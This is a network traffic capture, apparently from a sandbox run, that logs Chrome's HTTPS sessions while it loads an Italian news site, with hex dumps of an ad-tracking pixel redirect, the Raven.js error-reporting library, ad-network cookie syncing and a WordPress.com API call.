2024-03-28 08:51:24 UTC	748	OUT	GET /pixel?google_nid=neodata_dmp&google_cm&pv=dbm&sid=1011&rt=img&rnd=436232701635 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:24 UTC	838	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cm.g.doubleclick.net/pixel?google_nid=neodata_dmp&google_cm=&pv=dbm&sid=1011&rt=img&rnd=436232701635&google_tc= Date: Thu, 28 Mar 2024 08:51:24 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 340 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 28-Mar-2024 09:06:24 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:24 UTC	340	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 6e 65 6f 64 61 74 61 5f 64 6d 70 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 6d 3d 26 61 6d 70 3b 70 76 3d 64 62 6d 26 61 6d 70 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cm.g.doubleclick.net/pixel?google_nid=neodata_dmp&google_cm=&pv=dbm&amp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.4	50041	151.101.130.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:24 UTC	527	OUT	GET /3.17.0/raven.min.js HTTP/1.1 Host: cdn.ravenjs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:24 UTC	409	IN	HTTP/1.1 200 OK Connection: close Content-Length: 25170 Last-Modified: Thu, 13 Jul 2017 16:58:06 GMT ETag: "51d6eff0ea5151f41fa0e2f3310fc7c7" Accept-Ranges: bytes Date: Thu, 28 Mar 2024 08:51:24 GMT Age: 55793 Vary: Accept-Encoding Access-Control-Allow-Origin: * Server: Fastly Timing-Allow-Origin: * Cache-Control: public, max-age=31536000 Content-Type: application/javascript; charset=utf-8
2024-03-28 08:51:24 UTC	1379	IN	Data Raw: 2f 2a 21 20 52 61 76 65 6e 2e 6a 73 20 33 2e 31 37 2e 30 20 28 64 35 36 37 38 63 62 29 20 7c 20 67 69 74 68 75 62 2e 63 6f 6d 2f 67 65 74 73 65 6e 74 72 79 2f 72 61 76 65 6e 2d 6a 73 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 29 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 28 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 64 65 66 69 6e 65 28 5b 5d 2c 61 29 3b 65 6c 73 65 7b 76 61 72 20 62 3b 62 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e Data Ascii: /! Raven.js 3.17.0 (d5678cb) \| github.com/getsentry/raven-js /!function(a){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=a();else if("function"==typeof define&&define.amd)define([],a);else{var b;b="undefined"!=typeof window?win
2024-03-28 08:51:24 UTC	1379	IN	Data Raw: 62 28 63 2c 61 29 7d 3a 62 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 74 68 69 73 2e 61 3d 21 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 4a 53 4f 4e 7c 7c 21 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 29 2c 74 68 69 73 2e 62 3d 21 67 28 4a 29 2c 74 68 69 73 2e 63 3d 21 67 28 4b 29 2c 74 68 69 73 2e 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 65 3d 6e 75 6c 6c 2c 74 68 69 73 2e 66 3d 6e 75 6c 6c 2c 74 68 69 73 2e 67 3d 6e 75 6c 6c 2c 74 68 69 73 2e 68 3d 6e 75 6c 6c 2c 74 68 69 73 2e 69 3d 6e 75 6c 6c 2c 74 68 69 73 2e 6a 3d 7b 7d 2c 74 68 69 73 2e 6b 3d 7b 6c 6f 67 67 65 72 3a 22 6a 61 76 61 73 63 72 69 70 74 22 2c 69 67 6e 6f 72 65 45 72 72 6f 72 73 3a 5b 5d 2c 69 67 6e 6f 72 65 55 72 6c 73 3a 5b 5d 2c 77 68 69 74 65 6c 69 73 74 55 72 6c 73 3a 5b 5d 2c Data Ascii: b(c,a)}:b}function f(){this.a=!("object"!=typeof JSON\|\|!JSON.stringify),this.b=!g(J),this.c=!g(K),this.d=null,this.e=null,this.f=null,this.g=null,this.h=null,this.i=null,this.j={},this.k={logger:"javascript",ignoreErrors:[],ignoreUrls:[],whitelistUrls:[],
2024-03-28 08:51:24 UTC	1379	IN	Data Raw: 28 61 29 7b 76 61 72 20 62 3d 5b 5d 3b 72 65 74 75 72 6e 20 6b 28 61 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 62 2e 70 75 73 68 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 29 2b 22 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 63 29 29 7d 29 2c 62 2e 6a 6f 69 6e 28 22 26 22 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 76 61 72 20 62 3d 61 2e 6d 61 74 63 68 28 2f 5e 28 28 5b 5e 3a 5c 2f 3f 23 5d 2b 29 3a 29 3f 28 5c 2f 5c 2f 28 5b 5e 5c 2f 3f 23 5d 2a 29 29 3f 28 5b 5e 3f 23 5d 2a 29 28 5c 3f 28 5b 5e 23 5d 2a 29 29 3f 28 23 28 2e 2a 29 29 3f 24 2f 29 3b 69 66 28 21 62 29 72 65 74 75 72 6e 7b 7d 3b 76 61 72 20 63 3d 62 5b 36 5d 7c 7c 22 22 2c 64 3d 62 5b 38 5d 7c 7c 22 22 3b 72 65 74 75 72 6e 7b 70 72 6f 74 6f Data Ascii: (a){var b=[];return k(a,function(a,c){b.push(encodeURIComponent(a)+"="+encodeURIComponent(c))}),b.join("&")}function r(a){var b=a.match(/^(([^:\/?#]+):)?(\/\/([^\/?#]))?([^?#])(\?([^#]))?(#(.))?$/);if(!b)return{};var c=b[6]\|\|"",d=b[8]\|\|"";return{proto
2024-03-28 08:51:24 UTC	1379	IN	Data Raw: 61 6c 75 65 3d 3d 3d 62 2e 76 61 6c 75 65 26 26 78 28 61 2e 73 74 61 63 6b 74 72 61 63 65 2c 62 2e 73 74 61 63 6b 74 72 61 63 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 61 2c 62 29 7b 69 66 28 76 28 61 2c 62 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 63 3d 61 2e 66 72 61 6d 65 73 2c 64 3d 62 2e 66 72 61 6d 65 73 3b 69 66 28 63 2e 6c 65 6e 67 74 68 21 3d 3d 64 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 65 2c 66 2c 67 3d 30 3b 67 3c 63 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 69 66 28 65 3d 63 5b 67 5d 2c 66 3d 64 5b 67 5d 2c 65 2e 66 69 6c 65 6e 61 6d 65 21 3d 3d 66 2e 66 69 6c 65 6e 61 6d 65 7c 7c 65 2e 6c 69 6e 65 6e 6f 21 3d 3d 66 2e 6c 69 6e 65 6e 6f 7c 7c 65 2e 63 6f 6c 6e 6f 21 3d 3d 66 2e 63 6f 6c 6e 6f 7c 7c 65 5b 22 Data Ascii: alue===b.value&&x(a.stacktrace,b.stacktrace))}function x(a,b){if(v(a,b))return!1;var c=a.frames,d=b.frames;if(c.length!==d.length)return!1;for(var e,f,g=0;g<c.length;g++)if(e=c[g],f=d[g],e.filename!==f.filename\|\|e.lineno!==f.lineno\|\|e.colno!==f.colno\|\|e["
2024-03-28 08:51:24 UTC	1379	IN	Data Raw: 74 5d 22 3d 3d 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 66 29 3f 66 3d 6c 28 65 2c 66 29 3a 66 21 3d 3d 21 31 26 26 28 66 3d 65 29 2c 64 2e 61 75 74 6f 42 72 65 61 64 63 72 75 6d 62 73 3d 66 3b 76 61 72 20 67 3d 7b 74 72 79 43 61 74 63 68 3a 21 30 7d 2c 68 3d 64 2e 69 6e 73 74 72 75 6d 65 6e 74 3b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3d 3d 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 68 29 3f 68 3d 6c 28 67 2c 68 29 3a 68 21 3d 3d 21 31 26 26 28 68 3d 67 29 2c 64 2e 69 6e 73 74 72 75 6d 65 6e 74 3d 68 2c 7a 2e 63 6f 6c 6c 65 63 74 57 69 6e 64 6f 77 45 72 72 6f 72 73 3d 21 21 64 2e 63 6f 6c 6c 65 63 74 57 69 6e 64 6f 77 45 72 72 6f 72 73 2c 63 7d 2c 69 6e 73 74 61 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: t]"==={}.toString.call(f)?f=l(e,f):f!==!1&&(f=e),d.autoBreadcrumbs=f;var g={tryCatch:!0},h=d.instrument;return"[object Object]"==={}.toString.call(h)?h=l(g,h):h!==!1&&(h=g),d.instrument=h,z.collectWindowErrors=!!d.collectWindowErrors,c},install:function()
2024-03-28 08:51:24 UTC	1379	IN	Data Raw: 29 7b 69 66 28 21 44 28 61 29 29 72 65 74 75 72 6e 20 74 68 69 73 2e 63 61 70 74 75 72 65 4d 65 73 73 61 67 65 28 61 2c 6c 28 7b 74 72 69 6d 48 65 61 64 46 72 61 6d 65 73 3a 31 2c 73 74 61 63 6b 74 72 61 63 65 3a 21 30 7d 2c 62 29 29 3b 74 68 69 73 2e 64 3d 61 3b 74 72 79 7b 76 61 72 20 63 3d 7a 2e 63 6f 6d 70 75 74 65 53 74 61 63 6b 54 72 61 63 65 28 61 29 3b 74 68 69 73 2e 4e 28 63 2c 62 29 7d 63 61 74 63 68 28 64 29 7b 69 66 28 61 21 3d 3d 64 29 74 68 72 6f 77 20 64 7d 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 63 61 70 74 75 72 65 4d 65 73 73 61 67 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 21 74 68 69 73 2e 6b 2e 69 67 6e 6f 72 65 45 72 72 6f 72 73 2e 74 65 73 74 7c 7c 21 74 68 69 73 2e 6b 2e 69 67 6e 6f 72 65 45 72 72 6f 72 73 2e 74 65 73 Data Ascii: ){if(!D(a))return this.captureMessage(a,l({trimHeadFrames:1,stacktrace:!0},b));this.d=a;try{var c=z.computeStackTrace(a);this.N(c,b)}catch(d){if(a!==d)throw d}return this},captureMessage:function(a,b){if(!this.k.ignoreErrors.test\|\|!this.k.ignoreErrors.tes
2024-03-28 08:51:24 UTC	1379	IN	Data Raw: 29 2c 74 68 69 73 7d 2c 73 65 74 42 72 65 61 64 63 72 75 6d 62 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 68 69 73 2e 6b 2e 62 72 65 61 64 63 72 75 6d 62 43 61 6c 6c 62 61 63 6b 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 6b 2e 62 72 65 61 64 63 72 75 6d 62 43 61 6c 6c 62 61 63 6b 3d 65 28 62 2c 61 29 2c 74 68 69 73 7d 2c 73 65 74 53 68 6f 75 6c 64 53 65 6e 64 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 68 69 73 2e 6b 2e 73 68 6f 75 6c 64 53 65 6e 64 43 61 6c 6c 62 61 63 6b 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 6b 2e 73 68 6f 75 6c 64 53 65 6e 64 43 61 6c 6c 62 61 63 6b 3d 65 28 62 2c 61 29 2c 74 68 69 73 7d 2c 73 65 74 54 72 61 6e 73 70 6f 72 74 3a 66 75 6e 63 74 69 6f 6e 28 61 Data Ascii: ),this},setBreadcrumbCallback:function(a){var b=this.k.breadcrumbCallback;return this.k.breadcrumbCallback=e(b,a),this},setShouldSendCallback:function(a){var b=this.k.shouldSendCallback;return this.k.shouldSendCallback=e(b,a),this},setTransport:function(a
2024-03-28 08:51:24 UTC	1379	IN	Data Raw: 62 5b 64 5d 29 3b 69 66 28 4a 2e 63 72 65 61 74 65 45 76 65 6e 74 29 4a 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 63 29 3b 65 6c 73 65 20 74 72 79 7b 4a 2e 66 69 72 65 45 76 65 6e 74 28 22 6f 6e 22 2b 63 2e 65 76 65 6e 74 54 79 70 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 63 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 7d 2c 53 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 63 29 7b 69 66 28 62 2e 54 3d 6e 75 6c 6c 2c 62 2e 75 21 3d 3d 63 29 7b 62 2e 75 3d 63 3b 76 61 72 20 64 3b 74 72 79 7b 64 3d 74 28 63 2e 74 61 72 67 65 74 29 7d 63 61 74 63 68 28 65 29 7b 64 3d 22 3c 75 6e 6b 6e 6f 77 6e 3e 22 7d 62 2e 63 61 70 74 75 72 65 42 72 65 61 64 63 72 75 6d 62 28 7b 63 61 74 65 67 6f Data Ascii: b[d]);if(J.createEvent)J.dispatchEvent(c);else try{J.fireEvent("on"+c.eventType.toLowerCase(),c)}catch(e){}}},S:function(a){var b=this;return function(c){if(b.T=null,b.u!==c){b.u=c;var d;try{d=t(c.target)}catch(e){d="<unknown>"}b.captureBreadcrumb({catego
2024-03-28 08:51:24 UTC	1379	IN	Data Raw: 3d 3d 62 3f 6c 28 61 29 3a 76 6f 69 64 20 30 7d 7d 29 2c 62 2e 63 61 6c 6c 28 74 68 69 73 2c 64 2c 63 2e 77 72 61 70 28 66 2c 76 6f 69 64 20 30 2c 6a 29 2c 67 2c 68 29 7d 7d 2c 64 29 2c 79 28 62 2c 22 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 2c 65 29 7b 74 72 79 7b 63 3d 63 26 26 28 63 2e 4b 3f 63 2e 4b 3a 63 29 7d 63 61 74 63 68 28 66 29 7b 7d 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 2c 63 2c 64 2c 65 29 7d 7d 2c 64 29 29 7d 76 61 72 20 63 3d 74 68 69 73 2c 64 3d 63 2e 73 2c 65 3d 74 68 69 73 2e 6b 2e 61 75 74 6f 42 72 65 61 64 63 72 75 6d 62 73 3b 79 28 49 2c 22 73 65 74 54 69 6d 65 6f 75 74 22 2c 61 2c 64 29 2c 79 Data Ascii: ==b?l(a):void 0}}),b.call(this,d,c.wrap(f,void 0,j),g,h)}},d),y(b,"removeEventListener",function(a){return function(b,c,d,e){try{c=c&&(c.K?c.K:c)}catch(f){}return a.call(this,b,c,d,e)}},d))}var c=this,d=c.s,e=this.k.autoBreadcrumbs;y(I,"setTimeout",a,d),y
2024-03-28 08:51:24 UTC	1379	IN	Data Raw: 70 65 3a 22 68 74 74 70 22 2c 63 61 74 65 67 6f 72 79 3a 22 78 68 72 22 2c 64 61 74 61 3a 66 2e 57 7d 29 7d 7d 66 6f 72 28 76 61 72 20 66 3d 74 68 69 73 2c 67 3d 5b 22 6f 6e 6c 6f 61 64 22 2c 22 6f 6e 65 72 72 6f 72 22 2c 22 6f 6e 70 72 6f 67 72 65 73 73 22 5d 2c 69 3d 30 3b 69 3c 67 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 61 28 67 5b 69 5d 2c 66 29 3b 72 65 74 75 72 6e 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 69 6e 20 66 26 26 68 28 66 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 29 3f 79 28 66 2c 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 62 2e 77 72 61 70 28 61 2c 76 6f 69 64 20 30 2c 65 29 7d 29 3a 66 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 Data Ascii: pe:"http",category:"xhr",data:f.W})}}for(var f=this,g=["onload","onerror","onprogress"],i=0;i<g.length;i++)a(g[i],f);return"onreadystatechange"in f&&h(f.onreadystatechange)?y(f,"onreadystatechange",function(a){return b.wrap(a,void 0,e)}):f.onreadystatecha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.4	50053	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:24 UTC	939	OUT	GET /usermatch?cb=https%3A%2F%2Fsync.richaudience.com%2F2066127a3f7c6635eb4f6cac536feb5a%2F%3Fgdpr%3D0%26euconsent%3D%26uid%3D&gdpr=0&gdpr_consent=&s=201092&C=1 HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://sync.richaudience.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
2024-03-28 08:51:24 UTC	994	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Ray: 86b660ce8d4307fe-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:24 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:24 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LUfzIGqhPP8w4ZAUD%2FGFY0061%2B8tB9UxX%2BeO266z2Cj4Io5udBzwqFsUcdzombNOI6uuKvfOc7ZkgkTK1tOW7zkU4f0lUk0k9IDRZ0T58Lin0WgZlpKjDYKQPsz%2B5hOJK3LF3hUTbx5cuw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:24 UTC	375	IN	Data Raw: 36 64 31 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 64 63 6d 3f 70 69 64 3d 37 38 61 66 39 31 34 63 2d 65 37 35 35 2d 34 62 39 30 2d 62 64 65 64 2d 31 62 31 37 32 61 65 64 63 37 36 33 26 61 6d 70 3b 75 73 5f 70 72 69 76 61 63 79 3d 26 61 6d 70 3b 67 64 70 72 3d 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 69 64 3d 5a 67 55 76 69 39 48 4d 34 36 55 41 41 44 71 37 41 42 68 7a 4d 77 41 41 43 73 45 41 41 41 49 42 26 61 6d 70 3b 67 70 70 3d 26 61 6d 70 3b 67 70 70 5f 73 69 64 3d 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e Data Ascii: 6d1<html><head><title></title></head><body><img src="https://s.amazon-adsystem.com/dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gpp=&gpp_sid=" style="display:non
2024-03-28 08:51:24 UTC	1369	IN	Data Raw: 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 61 6c 74 3d 22 22 20 62 6f 72 64 65 72 3d 22 30 22 20 2f 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 69 6e 64 65 78 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 6d 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 68 6d 3d 5a 67 55 76 69 39 48 4d 34 36 55 41 41 44 71 37 41 42 68 7a 4d 77 41 41 43 73 45 41 41 41 49 42 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 75 73 5f 70 72 69 76 61 63 79 3d 26 61 6d 70 3b 67 64 70 72 3d 26 61 6d 70 3b 67 70 70 3d 26 61 6d 70 3b 67 70 70 5f 73 69 64 3d 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 20 77 69 64 74 68 Data Ascii: dth="0" height="0" alt="" border="0" /><img src="https://cm.g.doubleclick.net/pixel?google_nid=index&google_cm&google_hm=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid=" style="display:none" width
2024-03-28 08:51:24 UTC	8	IN	Data Raw: 2f 68 74 6d 6c 3e 0d 0a Data Ascii: /html>
2024-03-28 08:51:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.4	50050	192.0.78.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:24 UTC	699	OUT	GET /rest/v1/batch?http_envelope=1&urls[]=/me&urls[]=/sites/123231640/posts/95325/likes?chronological=true&urls[]=/sites/123231640/posts/95325/reblogs/mine HTTP/1.1 Host: public-api.wordpress.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://public-api.wordpress.com/wp-admin/rest-proxy/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:24 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:24 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Host-Header: WordPress.com X-hacker: Oh, Awesome: Opossum Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-ac: 2.dca _dca BYPASS Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=86400
2024-03-28 08:51:24 UTC	597	IN	Data Raw: 32 34 39 0d 0a 7b 22 63 6f 64 65 22 3a 32 30 30 2c 22 68 65 61 64 65 72 73 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 2c 22 76 61 6c 75 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 5c 2f 6a 73 6f 6e 22 7d 5d 2c 22 62 6f 64 79 22 3a 7b 22 5c 2f 6d 65 22 3a 7b 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 65 72 72 6f 72 73 22 3a 7b 22 65 72 72 6f 72 22 3a 22 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 5f 72 65 71 75 69 72 65 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 6e 20 61 63 74 69 76 65 20 61 63 63 65 73 73 20 74 6f 6b 65 6e 20 6d 75 73 74 20 62 65 20 75 73 65 64 20 74 6f 20 71 75 65 72 79 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 65 20 63 75 72 72 65 6e 74 20 75 73 65 72 2e 22 7d 7d 2c 22 5c Data Ascii: 249{"code":200,"headers":[{"name":"Content-Type","value":"application\/json"}],"body":{"\/me":{"status_code":403,"errors":{"error":"authorization_required","message":"An active access token must be used to query information about the current user."}},"\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.4	50051	13.32.151.103	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
